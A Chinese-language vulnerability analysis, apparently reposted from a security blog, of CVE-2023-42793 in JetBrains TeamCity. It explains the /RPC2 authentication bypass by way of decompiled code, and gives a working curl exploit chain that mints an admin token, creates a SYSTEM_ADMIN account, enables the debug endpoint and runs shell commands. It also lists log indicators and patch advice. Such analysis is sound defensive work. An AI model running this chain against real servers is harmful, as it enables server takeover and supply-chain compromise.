概述
CVE-2023-42793 是 2023 年 9 月 19 日发布的关键身份验证绕过,影响CI/CD 服务器JetBrains TeamCity的本地实例。该漏洞最初由Sonar发现,允许未经身份验证的攻击者在服务器上实现远程代码执行 (RCE)。通过破坏 CD/CD 服务器,攻击者将能够访问私有数据,例如源代码、访问密钥、代码签名证书和 CI/CD 服务器通常可访问的其他构建组件。这使攻击者处于有利地位,可以通过损害服务器构建过程和生成的构建工件(例如编译的二进制文件)的完整性来实现供应链攻击。
该漏洞的 CVSS 基本评分为 9.8。修补版本 2023.05.4 之前的所有 JetBrains TeamCity 版本都容易受到此问题的影响。截至 2023 年 9 月 27 日,尚无已知的野外利用情况。
技术分析
在此技术分析中,我们将分析该漏洞,因为它影响在 Windows Server 2022 上运行的 JetBrains TeamCity 2023.05.3。默认情况下,易受攻击的 Web 界面侦听 TCP 端口 8111 上的 HTTP 连接。
补丁比较
为了找出该错误,我们下载了有漏洞的版本 2023.05.3 并修补了版本 2023.05.4。通过提取这两个安装程序,7zip我们会生成两个文件夹.2023.05.3和.2023.05.4,其中包含每个版本安装的全部内容。
使用 diff 工具(例如 )检查两个文件夹的内容,我们可以识别出感兴趣的BeyondCompareJava 库。web.jar使用cfr反编译器,我们可以将web.jar每个版本的库反编译到两个单独的文件夹中,如下所示:
java -Xmx1g -jar cfr-0.152.jar --outputdir .2023.05.3web.jar .2023.05.3webappsROOTWEB-INFlibweb.jar
java -Xmx1g -jar cfr-0.152.jar --outputdir .2023.05.4web.jar .2023.05.4webappsROOTWEB-INFlibweb.jar
我们现在可以比较 Java 源代码了。该文件RequestInterceptiors.java因可疑通配符路径已被删除而引人注目。检查该XmlRpcController.getPathSuffix方法显示添加到 PathSet 的通配符路径myPreHandlingDisabled是/**/RPC2。进一步调查发现,这条路径是身份验证绕过漏洞的根本原因。
身份验证绕过
了解通配符路径为何/**/RPC2会导致身份验证绕过漏洞。我们必须了解这条路径的作用。TeamCity 服务器是一个大型 Java Spring 应用程序;配置文件C:TeamCitywebappsROOTWEB-INFbuildServerSpringWeb.xml创建了几个拦截器,它们拦截并可能修改传入服务器的 HTTP 请求。我们感兴趣的是calledOnceInterceptorsJava bean。
<mvc:interceptors>
<ref bean="externalLoadBalancerInterceptor"/>
<ref bean="agentsLoadBalancer"/>
<ref bean="calledOnceInterceptors"/>
<ref bean="pageExtensionInterceptor"/>
</mvc:interceptors>
<bean id="calledOnceInterceptors" class="jetbrains.buildServer.controllers.interceptors.RequestInterceptors">
<constructor-arg index="0">
<list>
<ref bean="mainServerInterceptor"/>
<ref bean="registrationInvitations"/>
<ref bean="projectIdConverterInterceptor"/>
<ref bean="authorizedUserInterceptor"/>
<ref bean="twoFactorAuthenticationInterceptor"/>
<ref bean="firstLoginInterceptor"/>
<ref bean="pluginUIContextProvider"/>
<ref bean="callableInterceptorRegistrar"/>
</list>
</constructor-arg>
</bean>
我们可以看到,calledOnceInterceptorsbean 将是包含jetbrains.buildServer.controllers.interceptors.RequestInterceptors我们感兴趣的通配符路径的类的实例。我们还可以看到,在构造实例时RequestInterceptors,多个 Java beans 作为列表传递,包括authorizedUserInterceptor. 这些 bean 将在实例化期间添加到列表中myInterceptors。
public RequestInterceptors(@NotNull List<HandlerInterceptor> paramList) {
this.myInterceptors.addAll(paramList);
this.myPreHandlingDisabled.addPath("/**" + XmlRpcController.getPathSuffix());
this.myPreHandlingDisabled.addPath("/app/agents/**");
}
然后,该RequestInterceptors实例将通过其方法拦截 HTTP 请求preHandle,如下所示。
public final boolean preHandle(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse, Object paramObject) throws Exception {
try {
if (!requestPreHandlingAllowed(paramHttpServletRequest)) // <---
return true; // <--- return early, no authentication checks!
} catch (Exception exception) {
throw null;
}
Stack stack = requestIn(paramHttpServletRequest);
try {
if (stack.size() >= 70 && paramHttpServletRequest.getAttribute("__tc_requestStack_overflow") == null) {
LOG.warn("Possible infinite recursion of page includes. Request: " + WebUtil.getRequestDump(paramHttpServletRequest));
paramHttpServletRequest.setAttribute("__tc_requestStack_overflow", this);
Throwable throwable = (new ServletException("Too much recurrent forward or include operations")).fillInStackTrace();
paramHttpServletRequest.setAttribute("javax.servlet.jsp.jspException", throwable);
}
} catch (Exception exception) {
throw null;
}
if (stack.size() == 1)
for (HandlerInterceptor handlerInterceptor : this.myInterceptors) {
try {
if (!handlerInterceptor.preHandle(paramHttpServletRequest, paramHttpServletResponse, paramObject)) // <--- enforce authentication checks :(
return false;
} catch (Exception exception) {
throw null;
}
}
return true;
}
值得注意的是,如果requestPreHandlingAllowed返回 false(注意 if 语句条件中的否定),该preHandle方法将提前返回。但是,如果requestPreHandlingAllowed返回 true,则myInterceptors列表将被迭代,并且列表中的每个拦截器将根据请求运行。这包括authorizedUserInterceptorbean( 的实例jetbrains.buildServer.controllers.interceptors.AuthorizationInterceptorImpl),如果需要,它将对请求强制进行身份验证。
因此,如果我们可以向导致返回 false 的 URL 发送请求requestPreHandlingAllowed,则可以跳过身份验证检查。检查中requestPreHandlingAllowed,我们看到 PathSet myPreHandlingDisabled,我们知道它包含通配符路径/**/RPC2,用于测试传入 HTTP 请求的路径。
private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest paramHttpServletRequest) {
try {
if (paramHttpServletRequest == null)
$$$reportNull$$$0(5);
} catch (IllegalArgumentException illegalArgumentException) {
throw null;
}
try {
if (WebUtil.isJspPrecompilationRequest(paramHttpServletRequest))
return false;
} catch (IllegalArgumentException illegalArgumentException) {
throw null;
}
try {
} catch (IllegalArgumentException illegalArgumentException) {
throw null;
}
return !this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(paramHttpServletRequest));
}
因此,任何与通配符路径匹配的传入 HTTP 请求都/**/RPC2不会受到myInterceptors列表中 Bean 在 期间执行的身份验证检查RequestInterceptors.preHandle。然而,即使我们可以构造一条避免身份验证检查的路径,我们仍然需要找到攻击者可以利用的目标端点,该端点也符合通配符路径——具体来说,目标端点必须以字符串结尾/RPC2。
开发
为了利用身份验证绕过漏洞,我们将针对 TeamCity 的 REST API,如在库中实现的那样C:TeamCitywebappsROOTWEB–INFplugins.unpackedrest–apiserverrest–api.jar。通过反编译这个库cfr我们就可以开始探索代码了。REST API 将使用 Java 的 Web 服务@Path注释将方法与 URI 端点连接起来,同时还将变量名称定义为路径中的模板。例如,@Path(value=”/{foo}/properties”)将匹配以路径段结尾的 URI /properties,并且前面的路径段的值将可用于正在注释的方法(通过附加@PathParam(value=’foo’)注释)。由于这种构造 URI 端点的技术允许端点在路径中具有任意值,因此我们希望找到以模板变量结尾的端点,因为这将允许我们提供/RPC2漏洞所需的 URI 部分。在反编译代码中搜索正则表达式/@Path(value=“S+}“)/将找到所有满足此要求的实例。经过一番调查后,我们确定该类jetbrains.buildServer.server.rest.request.UserRequest是我们感兴趣的,如下所示。
.2023.05.3rest-apijetbrainsbuildServerserverrestrequestUserRequest.java (17 hits)
Line 169: @Path(value="/{userLocator}")
Line 177: @Path(value="/{userLocator}")
Line 189: @Path(value="/{userLocator}")
Line 200: @Path(value="/{userLocator}/{field}")
Line 208: @Path(value="/{userLocator}/{field}")
Line 218: @Path(value="/{userLocator}/{field}")
Line 235: @Path(value="/{userLocator}/properties/{name}")
Line 243: @Path(value="/{userLocator}/properties/{name}")
Line 257: @Path(value="/{userLocator}/properties/{name}")
Line 304: @Path(value="/{userLocator}/roles/{roleId}/{scope}")
Line 313: @Path(value="/{userLocator}/roles/{roleId}/{scope}")
Line 323: @Path(value="/{userLocator}/roles/{roleId}/{scope}")
Line 329: @Path(value="/{userLocator}/roles/{roleId}/{scope}")
Line 371: @Path(value="/{userLocator}/groups/{groupLocator}")
Line 387: @Path(value="/{userLocator}/groups/{groupLocator}")
Line 465: @Path(value="/{userLocator}/tokens/{name}")
Line 494: @Path(value="/{userLocator}/tokens/{name}")
该方法createToken似乎允许调用者通过向端点发送 HTTP POST 请求来为指定用户创建访问令牌/app/rest/users/{userLocator}/tokens/{name}。由于此端点以模板化变量结尾,因此我们知道可以提供/RPC2绕过身份验证所需的值。RPC2这将在调用期间提供令牌名称createToken。为了指定合适的userLocator,我们需要提供系统上管理员用户的名称。TeamCity 允许您在安装过程中选择任意用户名,因此我们不一定知道管理员帐户的实际用户名。不过,方便的是,第一个用户(ID 为 1)始终是系统安装期间创建的管理员。因此,我们可以依靠使用字符串通过 ID 值指定用户的能力id:1。
@Path("/app/rest/users")
@Api("User")
public class UserRequest {
@POST
@Path("/{userLocator}/tokens/{name}")
@Produces({"application/xml", "application/json"})
@ApiOperation(value = "Create a new authentication token for the matching user.", nickname = "addUserToken", hidden = true)
public Token createToken(@ApiParam(format = "UserLocator") @PathParam("userLocator") String userLocator, @PathParam("name") @NotNull String name, @QueryParam("fields") String fields) {
if (name == null)
$$$reportNull$$$0(1);
TokenAuthenticationModel tokenAuthenticationModel = (TokenAuthenticationModel)this.myBeanContext.getSingletonService(TokenAuthenticationModel.class);
SUser user = this.myUserFinder.getItem(userLocator, true);
try {
AuthenticationToken token = tokenAuthenticationModel.createToken(user.getId(), name, new Date(PermanentTokenConstants.NO_EXPIRE.getTime()));
return new Token(token, token.getValue(), new Fields(fields), this.myBeanContext);
} catch (jetbrains.buildServer.serverSide.auth.AuthenticationTokenStorage.CreationException e) {
throw new BadRequestException(e.getMessage());
}
}
}
现在,我们可以通过以下 cURL 请求为管理员用户创建身份验证令牌,该请求利用 RPC2 身份验证绕过漏洞成功到达目标端点。
curl -X POST http://192.168.86.50:8111/app/rest/users/id:1/tokens/RPC2
以下内容将返回给攻击者,其中包含具有管理员权限的新创建的身份验证令牌。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="RPC2" creationTime="2023-09-27T02:15:35.609-07:00" value="eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2"/>
现在我们有了管理员身份验证令牌,我们可以接管服务器。我们拥有对TeamCity REST API 的完全访问权限,并且可以执行多种操作,例如使用已知密码创建新的管理员帐户。这允许我们在需要时登录网络界面。
curl --path-as-is -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/app/rest/users -H "Content-Type: application/json" --data "{"username": "haxor", "password": "haxor", "email": "haxor", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
如下所示,我们使用已知的密码创建了一个新的管理员用户帐户。
或者,要在目标服务器上执行任意 shell 命令,我们可以进一步利用 API,特别是未记录的调试 API 端点 /app/rest/debug/processes,如下所示。
@Path(value="/app/rest/debug")
@Api(value="Debug", hidden=true)
public class DebugRequest {
@POST
@Path(value="/processes")
@Consumes(value={"text/plain"})
@Produces(value={"text/plain"})
public String runProcess(@QueryParam(value="exePath") String exePath, @QueryParam(value="params") List<String> params, final @QueryParam(value="idleTimeSeconds") Integer idleTimeSeconds, final @QueryParam(value="maxOutputBytes") Integer maxOutputBytes, @QueryParam(value="charset") String charset, String input) {
if (!TeamCityProperties.getBoolean((String)"rest.debug.processes.enable")) { // <---
throw new BadRequestException("This server is not configured to allow process debug launch via " + LogUtil.quote((String)"rest.debug.processes.enable") + " internal property");
}
this.myDataProvider.checkGlobalPermission(Permission.MANAGE_SERVER_INSTALLATION);
GeneralCommandLine cmd = new GeneralCommandLine();
cmd.setExePath(exePath);
cmd.addParameters(params);
Loggers.ACTIVITIES.info("External process is launched by user " + this.myPermissionChecker.getCurrentUserDescription() + ". Command line: " + cmd.getCommandLineString());
Stopwatch action = Stopwatch.createStarted();
ExecResult execResult = SimpleCommandLineProcessRunner.runCommand((GeneralCommandLine)cmd, (byte[])input.getBytes(Charset.forName(charset != null ? charset : "UTF-8")), (SimpleCommandLineProcessRunner.RunCommandEvents)new SimpleCommandLineProcessRunner.RunCommandEventsAdapter(){
public Integer getOutputIdleSecondsTimeout() {
return idleTimeSeconds;
}
public Integer getMaxAcceptedOutputSize() {
return maxOutputBytes != null && maxOutputBytes > 0 ? maxOutputBytes : 0x100000;
}
});
action.stop();
StringBuffer result = new StringBuffer();
result.append("StdOut:").append(execResult.getStdout()).append("n");
result.append("StdErr: ").append(execResult.getStderr()).append("n");
result.append("Exit code: ").append(execResult.getExitCode()).append("n");
result.append("Time: ").append(TimePrinter.createMillisecondsFormatter().formatTime(action.elapsed(TimeUnit.MILLISECONDS)));
return result.toString();
}
}
调用此端点的能力由配置选项控制rest.debug.processes.enable,默认情况下禁用。因此,我们必须首先通过以下请求启用此选项。
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/admin/dataDir.html?action=edit^&fileName=config%2Finternal.properties^&content=rest.debug.processes.enable=true
最后,为了让系统使用此选项,我们必须通过以下请求刷新服务器。
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" http://192.168.86.50:8111/admin/admin.html?item=diagnostics^&tab=dataDir^&file=config/internal.properties
我们现在可以在服务器上运行任意 shell 命令,并向端点发出以下请求/app/rest/debug/processes。例如:
curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.UmFYd29SRVlLUzd3RUNIa1Jpem81MkNfZjlN.ZjhjZDljNzktNDFiMS00OGE2LWE2ZDQtNzcwOGQ1ZjRhNWU2" -X POST http://192.168.86.50:8111/app/rest/debug/processes?exePath=cmd.exe^¶ms=/c%20whoami
服务器对上述请求的响应显示了我们创建的进程的标准输出。
StdOut:nt authoritysystem
StdErr:
Exit code: 0
Time: 59ms
从上面的输出中,我们可以看到我们创建了进程cmd.exe “/c whoami“,并且打印到 stdout 的结果是nt authoritysystem。值得注意的是,安装 TeamCity 时,您可以选择以本地系统用户或您选择的必须创建的用户帐户运行服务器。在测试过程中,我们以本地系统用户身份运行 TeamCity 服务器。
最后,攻击者可以通过以下请求删除他们创建的身份验证令牌。
指标
在Windows系统上,C:TeamCitylogsteamcity-server.log当攻击者修改文件时,日志文件将包含一条日志消息internal.properties。通过端点创建的每个进程还将有一条日志消息/app/rest/debug/processes。除了显示所使用的命令行之外,还显示在攻击期间使用其身份验证令牌的用户帐户的用户 ID。例如:
[2023-09-26 11:53:46,970] INFO - ntrollers.FileBrowseController - File edited: C:ProgramDataJetBrainsTeamCityconfiginternal.properties by user with id=1
[2023-09-26 11:53:46,970] INFO - s.buildServer.ACTIVITIES.AUDIT - server_file_change: File C:ProgramDataJetBrainsTeamCityconfiginternal.properties was modified by "user with id=1"
[2023-09-26 11:53:58,227] INFO - tbrains.buildServer.ACTIVITIES - External process is launched by user user with id=1. Command line: cmd.exe "/c whoami"
攻击者可能会尝试通过擦除此日志文件来掩盖自己的踪迹。TeamCity 似乎不会记录单独的 HTTP 请求,但如果 TeamCity配置为位于 HTTP 代理后面,则 HTTP 代理可能具有合适的日志,显示正在访问的以下目标端点:
-
/app/rest/users/id:1/tokens/RPC2– 需要此端点来利用该漏洞。
-
/app/rest/users– 仅当攻击者希望创建任意用户时才需要此端点。
-
/app/rest/debug/processes– 仅当攻击者希望创建任意进程时才需要此端点。
指导
该漏洞已在 JetBrains TeamCity 版本 2023.05.4 中得到解决。强烈建议所有用户立即更新到软件的最新版本。如果您无法升级到修复版本或实施JetBrains 通报中指定的有针对性的缓解措施,则应考虑使服务器脱机,直到漏洞得到缓解。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):CVE-2023-42793 漏洞 | JetBrains TeamCity Server 上绕过 RCE